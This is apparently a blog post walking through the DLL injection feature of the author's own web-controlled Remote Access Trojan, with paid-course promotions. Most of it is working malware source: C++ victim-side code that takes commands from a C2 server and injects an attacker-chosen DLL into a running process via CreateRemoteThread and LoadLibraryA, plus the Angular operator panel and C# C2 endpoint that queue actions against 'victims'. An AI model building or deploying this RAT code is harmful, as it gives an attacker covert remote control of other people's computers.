DLL Injection in Web RAT

S12 - H4CK
9 min readApr 18, 2024

Welcome to my new article, today i will show you how i setup my RAT to execute DLL Injection in victim machine when the attacker click in the web server this option.

Let’s see how look’s like:

When you click on a DLL Injection buttom from one of this victim list, you will see the following popup:

Here you put the victim process name like notepad.exe, and in the the second input line we enter the path of the DLL in the victim machine to inject in the victim process.

Get ready to unlock the secrets of ethical malware development with our unique course. We’re taking a different path through the world of cybersecurity, and here’s why you should jump on board:

Now with a $5 discount with the code FIVEDOLLAR

*If you prefer crypto payments send a email for : s12deff@gmail.com *

Proof of Concept

When this popup is filled a HTTP petition is sent to the server where it’s added into the database concretely in the action table where then the victim check if have a new action to do.

Here you have the SQLite row entry with the added action:

When the client see this new action with this both parameters they perform the DLL Injection in the notepad.exe process with the SqlClient.dll, here you can see the result with Process Hacker 2

Code

C++ Victim Code:

case DLLInjection:
params = http.httpGetParamsAction(victimID, action);
processName = params.substr(params.find("process=") + 8, params.find(",") - 8);
dllPath = params.substr(params.find("dllPath=") + 8, params.length() - 8);

Utils utils = Utils();
pid = utils.getPIDbyProcName(processName);

DLLInjector dllInjector = DLLInjector();
dllInjector.DLLinjector(pid, dllPath.c_str());
break;
  1. case DLLInjection:: This indicates that the code is inside a switch statement and is handling a case where the action to be taken is DLLInjection.
  2. params = http.httpGetParamsAction(victimID, action);: This line is making a call to a function named httpGetParamsAction of an object or class named http, passing victimID and action as parameters, and assigning the returned value to the variable params. This function likely retrieves parameters related to the HTTP request from C2 web server interaction.
  3. processName = params.substr(params.find("process=") + 8, params.find(",") - 8);: This line is extracting a substring from the params variable. It starts at the index where the substring "process=" is found within params (plus 8 to skip the length of "process="), and ends just before the first comma after "process=". This substring is then assigned to the variable processName, presumably representing the name of the process into which the DLL will be injected.
  4. dllPath = params.substr(params.find("dllPath=") + 8, params.length() - 8);: Similar to the previous line, this extracts a substring from params, starting where "dllPath=" is found (plus 8 to skip the length of "dllPath="), and ending at the end of the params string. The extracted substring is assigned to the variable dllPath, presumably representing the path to the DLL that will be injected into the process.
  5. Utils utils = Utils();: This line creates an instance of a class named Utils and initializes it using the default constructor. This class likely contains utility functions that are useful for various tasks.
  6. pid = utils.getPIDbyProcName(processName);: This line calls a method named getPIDbyProcName of the utils object, passing processName as a parameter, and assigns the returned process ID (PID) to the variable pid. This method likely searches for a process by name and returns its PID.
  7. DLLInjector dllInjector = DLLInjector();: This line creates an instance of a class named DLLInjector and initializes it using the default constructor. This class likely contains methods for injecting DLLs into processes.
  8. dllInjector.DLLinjector(pid, dllPath.c_str());: This line calls a method named DLLinjector of the dllInjector object, passing pid and the C-style string obtained from dllPath as parameters. This method likely performs the DLL injection into the process identified by pid, using the DLL located at the path specified by dllPath.
  9. break;: This statement exits the switch block, indicating the end of the DLLInjection case.

DLL Injector:

 bool DLLinjector(DWORD pid, const char* dllPath) {
typedef LPVOID memory_buffer;

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc == NULL) {
cout << "OpenProcess() failed: " << GetLastError() << endl;
return false;
}

HMODULE hKernel32 = GetModuleHandle(L"Kernel32");
void* lb = GetProcAddress(hKernel32, "LoadLibraryA");

Utils utils = Utils();

// RWX
memory_buffer allocMem = VirtualAllocEx(hProc, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hProc, allocMem, dllPath, strlen(dllPath), NULL);
HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL);
if (rThread == NULL) {
cout << "CreateRemoteThread() failed: " << GetLastError() << endl;
return false;
}
CloseHandle(hProc);
FreeLibrary(hKernel32);
VirtualFreeEx(hProc, allocMem, strlen(dllPath), MEM_RELEASE);
return true;
}
  1. bool DLLinjector(DWORD pid, const char* dllPath): This function takes two parameters: pid, which is a DWORD representing the process ID of the target process, and dllPath, which is a pointer to a constant character array representing the path of the DLL to be injected.
  2. HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);: This line attempts to open a handle to the target process identified by pid with full access rights (PROCESS_ALL_ACCESS). If successful, it returns a handle to the process, stored in the variable hProc. If it fails, it prints an error message with GetLastError() and returns false.
  3. HMODULE hKernel32 = GetModuleHandle(L"Kernel32");: This line retrieves the handle to the Kernel32 module, which contains the LoadLibraryA function used to load the DLL into the target process.
  4. void* lb = GetProcAddress(hKernel32, "LoadLibraryA");: This line retrieves the address of the LoadLibraryA function within the Kernel32 module.
  5. memory_buffer allocMem = VirtualAllocEx(hProc, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);: This line allocates memory within the target process using VirtualAllocEx. The size of the allocation is determined by the length of the dllPath. The allocated memory is set with permissions for execution, reading, and writing
  6. WriteProcessMemory(hProc, allocMem, dllPath, strlen(dllPath), NULL);: This line writes the path of the DLL to the allocated memory space within the target process using WriteProcessMemory.
  7. HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL);: This line creates a remote thread within the target process, starting execution at the address of the LoadLibraryA function. The path of the DLL to be loaded is passed as an argument to this function. If successful, it returns a handle to the remote thread.
  8. If CreateRemoteThread fails, it prints an error message with GetLastError() and returns false.
  9. CloseHandle(hProc);: This line closes the handle to the target process.
  10. FreeLibrary(hKernel32);: This line frees the handle to the Kernel32 module.
  11. VirtualFreeEx(hProc, allocMem, strlen(dllPath), MEM_RELEASE);: This line releases the memory allocated within the target process.
  12. Finally, the function returns true if all operations were successful.

Angular DLL Injection Code:

dllInjectionConfirm() {
console.log(this.processName);
console.log(this.dllPath);
// if have / change to \\
if (this.dllPath.includes('/')) {
this.dllPath = this.dllPath.replace(/\//g, '\\');
}
this.http.post(this.dllInjectionEndpoint, { processName: this.processName, dllPath: this.dllPath, id: this.agentIdDLL.toString() }).subscribe((data: any) => {
this.isDLLInjection = false;
console.log(data);
});
this.isDLLInjection = false;
}
  1. console.log(this.processName);: This line logs the value of the processName property of the current object (this) to the console. It seems to be used for debugging or logging purposes.
  2. console.log(this.dllPath);: Similarly, this line logs the value of the dllPath property of the current object (this) to the console.
  3. if (this.dllPath.includes('/')) { this.dllPath = this.dllPath.replace(/\//g, '\\'); }: This block of code checks if the dllPath contains forward slashes ('/'). If it does, it replaces all occurrences of forward slashes with double backslashes ('\'). This is commonly done to ensure compatibility with file paths on Windows systems, as backslashes are used as directory separators.
  4. this.http.post(this.dllInjectionEndpoint, { processName: this.processName, dllPath: this.dllPath, id: this.agentIdDLL.toString() }).subscribe((data: any) => { ... });: This line sends an HTTP POST request to the dllInjectionEndpoint endpoint with an object containing three properties: processName, dllPath, and id. The values of these properties are taken from the processName, dllPath, and agentIdDLL properties of the current object (this). It then subscribes to the response using the subscribe method, which takes a callback function as an argument. When the response is received, this callback function is executed, and it sets the isDLLInjection property to false and logs the received data to the console.
  5. this.isDLLInjection = false;: This line sets the isDLLInjection property of the current object (this) to false. It seems to be used to indicate that the DLL injection process has been completed or is no longer in progress.

C# (DLL Injection) Server Code:

  [HttpPost]
[Route("DLLInjection")]
// action 1
public string DLLInjection([FromBody] DLLInjectionRequest request)
{
SQLiteConnection conn = new SQLiteConnection("Data Source=lokiDB.db;Version=3;");
conn.Open();
string query = "INSERT INTO Action (VictimID, ActionID, Date ,Parameters) VALUES (@VictimID, 1, @DateNow ,@Parameters)";
using (SQLiteCommand cmd = new SQLiteCommand(query, conn))
{
cmd.Parameters.AddWithValue("@VictimID", request.id);
cmd.Parameters.AddWithValue("@DateNow", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
cmd.Parameters.AddWithValue("@Parameters", "process=" + request.processName + ",dllPath=" + request.dllPath);
cmd.ExecuteNonQuery();
return "DLL injection request sent";
}
}
  1. [HttpPost]: This attribute indicates that the method handles HTTP POST requests.
  2. [Route("DLLInjection")]: This attribute specifies the route template for the HTTP endpoint. In this case, the method is accessible at the endpoint /DLLInjection.
  3. public string DLLInjection([FromBody] DLLInjectionRequest request): This is the method signature. It takes a single parameter request of type DLLInjectionRequest. The [FromBody] attribute specifies that the data for the request parameter should be taken from the request body.
  4. SQLiteConnection conn = new SQLiteConnection("Data Source=lokiDB.db;Version=3;");: This line creates a new instance of SQLiteConnection to connect to a SQLite database named "lokiDB.db".
  5. conn.Open();: This line opens the connection to the SQLite database.
  6. string query = "INSERT INTO Action (VictimID, ActionID, Date ,Parameters) VALUES (@VictimID, 1, @DateNow ,@Parameters)";: This line defines an SQL query to insert a new row into the "Action" table of the SQLite database. It inserts values for "VictimID", "ActionID", "Date", and "Parameters". The values for "VictimID" and "Date" are parameterized.
  7. using (SQLiteCommand cmd = new SQLiteCommand(query, conn)): This line creates a new instance of SQLiteCommand with the SQL query and the SQLite connection.
  8. cmd.Parameters.AddWithValue("@VictimID", request.id);: This line adds a parameterized value for "VictimID" to the SQL command. The value is taken from the id property of the request object.
  9. cmd.Parameters.AddWithValue("@DateNow", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));: This line adds the current date and time as a parameterized value for "Date" to the SQL command.
  10. cmd.Parameters.AddWithValue("@Parameters", "process=" + request.processName + ",dllPath=" + request.dllPath);: This line constructs a string representing the parameters to be inserted into the database and adds it as a parameterized value for "Parameters" to the SQL command. It concatenates the processName and dllPath properties of the request object.
  11. cmd.ExecuteNonQuery();: This line executes the SQL command to insert the data into the database.
  12. return "DLL injection request sent";: If the insertion is successful, this line returns a string indicating that the DLL injection request was sent.

Conclusions

In conclusion, this article provided an in-depth exploration of DLL injection techniques within the context of a web-based Remote Access Trojan (RAT) system. It demonstrated how to set up a RAT to execute DLL injection on victim machines when prompted by the attacker via a web server interface.

The process was illustrated step by step, starting with the user interface for initiating DLL injection requests. Users were guided through the input fields where they could specify the target process name and the path to the DLL to be injected.

Upon submission of the DLL injection request, the system communicated with the server via HTTP, transmitting the necessary parameters. The server, implemented using C#, processed these requests, inserting relevant data into a SQLite database.

The server-side code demonstrated robust error handling and parameterized SQL queries to prevent injection attacks. Additionally, the client-side Angular code ensured proper formatting of input parameters before submission.

Furthermore, the article included detailed explanations of the C++ code responsible for handling DLL injection on the victim’s machine. This included memory allocation, writing to process memory, and creating a remote thread for DLL injection.

Get ready to unlock the secrets of ethical malware development with our unique course. We’re taking a different path through the world of cybersecurity, and here’s why you should jump on board:

*If you prefer crypto payments send a email for : s12deff@gmail.com *

If you enjoy my content and would like to help me take this project to the next level, you can become a member by donating a monthly subscription. Your support will help me continue to create high-quality content. Thank you for your generosity!

If donating is not possible for you at this time, no problem at all! Your support in sharing my project and spreading the word is greatly appreciated. I will continue to create and share my work regardless, and I am grateful for your encouragement and interest.

Thanks to read this :)

S12.

--

--